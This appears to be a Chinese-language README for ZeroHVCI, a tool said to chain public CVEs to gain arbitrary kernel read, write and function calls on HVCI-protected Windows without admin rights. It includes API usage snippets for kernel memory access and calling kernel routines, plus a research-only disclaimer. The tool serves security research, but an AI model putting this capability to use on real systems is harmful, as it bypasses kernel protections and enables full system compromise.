ZeroHVCI 可在受 Hypervisor 保护的代码完整性(HVCI)保护的环境中,无需管理员权限或内核驱动程序即可实现任意内核读/写/函数调用。

要开始使用 ZeroHVCI,你可以克隆此仓库并构建项目。
//
// Read kernel memory example:
//
ReadKernelMemory(source_address, buffer_address, size);
//
// Write kernel memory example:
//
WriteKernelMemory(source_address, buffer_address, size);
//
// Kernel function calling example via name:
//
KF::CallKernelFunctionViaName<kernel_param_type1, kernel_param_type2, kernel_param_type3>(
"kernel_function_name",
param1,
param2,
param3);
//
// ExAllocatePool example:
//
KF::CallKernelFunctionViaName<PVOID, POOL_TYPE, SIZE_T>("ExAllocatePool", PoolType, Size);
//
// memcpy example:
//
KF::CallKernelFunctionViaName<PVOID, PVOID, PVOID, SIZE_T>("memcpy", Dst, Src, Size);
//
// PsLookupProcessByProcessId example:
//
PEPROCESS Process;
KF::CallKernelFunctionViaName<NTSTATUS, HANDLE, PEPROCESS*>("PsLookupProcessByProcessId", ProcessHandle, &Process);
实现这一功能主要依赖两个项目
演示了如何将已公开的 CVE 串联起来,以便在受 HVCI 保护的环境中获取内核访问权限。对研究 Windows 内核完整性和 HVCI 绕过缓解措施的安全研究人员很有用。
Cr4sh 的 KernelForge
varwara 的 POC POC2
Eric Egsgard 的 演讲
仅供教育和经授权的安全研究使用。请勿在你不拥有或未经明确许可测试的系统上使用。本人不对滥用行为负责。使用风险自负。
文中提及的所有产品名称、商标和注册商标均归其各自所有者所有。